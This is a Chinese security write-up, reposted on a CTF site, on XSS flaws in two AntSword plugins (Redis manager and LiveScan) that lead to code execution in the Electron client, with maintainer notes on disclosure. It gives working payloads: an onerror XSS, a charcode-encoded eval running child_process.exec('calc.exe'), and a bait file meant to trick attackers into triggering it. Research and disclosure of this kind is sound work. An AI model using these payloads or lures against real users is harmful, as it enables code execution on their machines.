从虚假的XSS到放弃RCE再到Self-RCE

渗透技巧 2年前 (2021) admin
672 0 0

文章开始前,说点题外话,接上次转发的文章(端内钓鱼,反制蚁剑)后台反馈下来的消息看,大家普遍都没整明白这波是什么操作,所以蹭着这一波的热度,再和大家先聊聊蚁剑的安全问题:

1. 有攻有防, 我们不会回避安全问题, 除了修复漏洞之外,并且每次我们还会将漏洞的详情、EXP 都会公开,方便大家能够从历史漏洞当中学到审计还未被挖掘到的漏洞。

2. 当然作为一个插件开发者,dhtmlx 文档里未提到的一些属性明明是按 html 渲染的,结果给这个属性取了一个迷惑的名字 text (比如 Tree、Grid组件),这些坑你翻文档都是翻不到的,看漏洞报告就能知道了。当然这个后期我抽空整理一下贴文档里吧。为啥dhtmlx 都 v7 了蚁剑用的还是 v4 的?收费用不起

3. 有关漏洞提交,我还是希望大家能在第一时间能与开发组联系,使用蚁剑内的「报告漏洞」功能,或者是直接给我发邮件也是OK的。

从虚假的XSS到放弃RCE再到Self-RCE

Github 的 issue 功能是公开的,不适合漏洞报告披露的准则,所以尽量还是用上面的形式吧。

4. CVE 或者 CNVD 编号申请这块,如果大家有需要,我们是积极配合的,放心去冲

从虚假的XSS到放弃RCE再到Self-RCE


讲道理,蚁剑能跑到厂商列表里,我也是挺意外的

从虚假的XSS到放弃RCE再到Self-RCE


5. 蚁剑作为自身出现了安全问题,不会耻辱吗,还可以继续使用吗?
    的确,作为一款网站管理软件,自身出现安全漏洞,确实影响我们日常维护网站的站长的心态,请务必及时更新。
    没有一个系统是安全的,蚁剑的历史漏洞大多都是因为开发过程中疏忽,这也正是大部分的安全漏洞产生的通病, 欢迎更多的大佬可以参与到帮AntSword找漏洞的计划中来,蚁剑会因为你的细心变得更优秀

本文来自 cc7v@校长 的知识星球,文章中部分内容「学蚁致用」会略做修改
学蚁致用




0x01 前言


中午在学校午休,就看了 @忍酱 的反制Goby, @暗羽师傅 的反制Burpsuite还有 @先知社区 里的反制蚁剑, @f4ltJ4y 的蚁剑复现,挑起了我想反制的心!



蚁剑版本: 2.1.12


从虚假的XSS到放弃RCE再到Self-RCE




0x02 虚假XSS


蚁剑是自带浏览器的,用的是Chrome!本想着暗羽师傅的那篇可以用得到,发现版本不对

从虚假的XSS到放弃RCE再到Self-RCE



从虚假的XSS到放弃RCE再到Self-RCE


发现它调用了dhtmlx框架,可以解析HTML


<img src=1 onerror=alert(1)>


正是因为这个虚假的XSS,更加激发了我想RCE的心!我们可以参考:


https://xz.aliyun.com/t/8167


从虚假的XSS到放弃RCE再到Self-RCE


批注: 「浏览网站」模块中,创建 Window 的时候,禁止了 Node 上下文支持,并且开启了沙箱,所以即便有 XSS 也不会引发 RCE。

学蚁致用




0x03 放弃RCE


我在想既然有内置浏览器,那么Chromium浏览器版本是否存在漏洞呢? 我们先得获取Chromuim版本


# Consolenavigator.appCodeNamenavigator.appVersion


从虚假的XSS到放弃RCE再到Self-RCE


如上图,谷歌浏览器的产品代号为”Mozilla”


从虚假的XSS到放弃RCE再到Self-RCE


"5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) antsword/2.1.12 Chrome/69.0.3497.106 Electron/4.0.3 Safari/537.36"



上图已知,Chrome/69.0.3497.106 Electron/4.0.3 我们查找相对应的远程代码执行的漏洞!已关闭沙箱


从虚假的XSS到放弃RCE再到Self-RCE


通过万能的百度我找到一个 Google Chrome < = 87.0.4280.88 远程代码执行


从虚假的XSS到放弃RCE再到Self-RCE



# 参考文档:https://www.cnblogs.com/ethtool/p/14652420.htmlhttps://github.com/r4j0x00/exploits/blob/master/CVE-2020-16040/exploit.js


从虚假的XSS到放弃RCE再到Self-RCE


尝试后,我实在是想不明白这个DevTools怎么搞,我想尝试别的版本,高版本低版本我都试过了,都是 同一个问题!希望有师傅能够解惑,我太菜了。




0x04 「Redis管理」插件 Self-RCE


本文所述该插件的漏洞目前已经修复


峰回路转,本来我是打算放弃的,就随便点点插件里的内容。我是原先有下载一个Redis管理的插件的


从虚假的XSS到放弃RCE再到Self-RCE



<img src=1 onerror=alert(1)>


直接通过HTML的方式解析


从虚假的XSS到放弃RCE再到Self-RCE


https://github.com/AntSword-Store/AS_Redis/blob/fac78f9605c4cee4d863b1c68a368916dc854051/libs/core.js


阅读了这个插件的源代码,发现并没有过滤以及加以限制,而且dhtmlx 解析,这应该是蚁剑开发的标准要求


'use strict'
class Core { constructor(ShellCore, opt = {}) {   this.ShellCore = ShellCore;   this.host = opt['host'] || "127.0.0.1:6379"; }
setHost(host) { this.host = host; }
// 将 buffer 转为 base64 string encode(buffer) { return Buffer.from(buffer).toString('base64');  }
decode(str) {    // ... }
  get template() {   // ...  }}
module.exports = Core;


dhtmlx v4 的 Tree 组件 text 属性是支持 html 的,在插件开发过程中,设置节点内容的时候,一定需要注意 XSS 问题

学蚁致用

漏洞点:

从虚假的XSS到放弃RCE再到Self-RCE




构造 Self-RCE


结合蚁剑的以下特点:


解析HTML时,不能使用单引号或双引号,否则会出现语法混乱 HTML源码和流量中均有Payload,导致攻击方很容易被反制,在执行命令后需要删除当前HTML节 点,并对流量进行加密。


a="require('child_process').exec('calc.exe')"b=""for(i=0;i<a.length;i++)  b = b + "," +a.charCodeAt(i)

使用 JavaScript Obfuscator 对payload进行混淆,为了方便我这里就不混淆了 在Console执行得到处理后的payload

从虚假的XSS到放弃RCE再到Self-RCE

<img src=1 onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))">


从虚假的XSS到放弃RCE再到Self-RCE



0x05 「LiveScan」插件 XSS

本文所述该插件的漏洞目前已经修复

这个是蚁剑判断WEBSHELL存活的一款插件


从虚假的XSS到放弃RCE再到Self-RCE


https://github.com/AntSword-Store/LiveScan/blob/master/libs/ui.js


从虚假的XSS到放弃RCE再到Self-RCE


行160-192 从开始扫描到渲染UI,每一步都没有调用JS替换函数: antSword.noxss


于是我构思,如何让他扫描后渲染出来,它扫描时shell不需要存活,于是我们shell地址开始下手 Windows对文件的命名有标准,我们没法使用尖括号 只能在链接的时候修改


从虚假的XSS到放弃RCE再到Self-RCE


XSS:

<img src=1 onerror=alert(1)>
例子:
http://192.168.0.108/<img src=1 onerror=alert(1)>/1.php

从虚假的XSS到放弃RCE再到Self-RCE


从虚假的XSS到放弃RCE再到Self-RCE


构思


其实对于我而言这个是有实战意义的: 钓鱼


就脚本小子以及初出茅庐的攻击方来说,设置钓鱼文件,伪造内容诱导添加shell并存活检测,也可以黑 吃黑,诱导其检测shell存活~


在网站目录下创建 txt 或者 log 文件,伪造内容:


漏洞利用扫描器 结果:
指定连接shell管理工具 -- 蚁剑(AntSword)WebShell: http://192.168.0.108/<img src=1/ onerror="eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))">/1.php密码:cmd
连接后请务必进行存活检测 -- 插件中心下载 && https://github.com/AntSword-Store/LiveScan# 如遇插件中心存在打不开的情况,解决方法: https://mp.weixin.qq.com/s/hF3GgZpIcussc-BjUoJUuQ




0x06 结尾


  在实战当中,有利用的可能!但可操作性非常低,诱导性也低,但是危害大!不算鸡肋,有用武之 地但是条件要求极其苛刻!


写在最后


  校长这波对初学者满满的套路,从入门到入土,我觉得我得去下载一个 国家反诈骗中心 APP 了





从虚假的XSS到放弃RCE再到Self-RCE

不如关注一波再走?



版权声明:admin 发表于 2021年10月19日 下午4:50。
转载请注明:从虚假的XSS到放弃RCE再到Self-RCE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...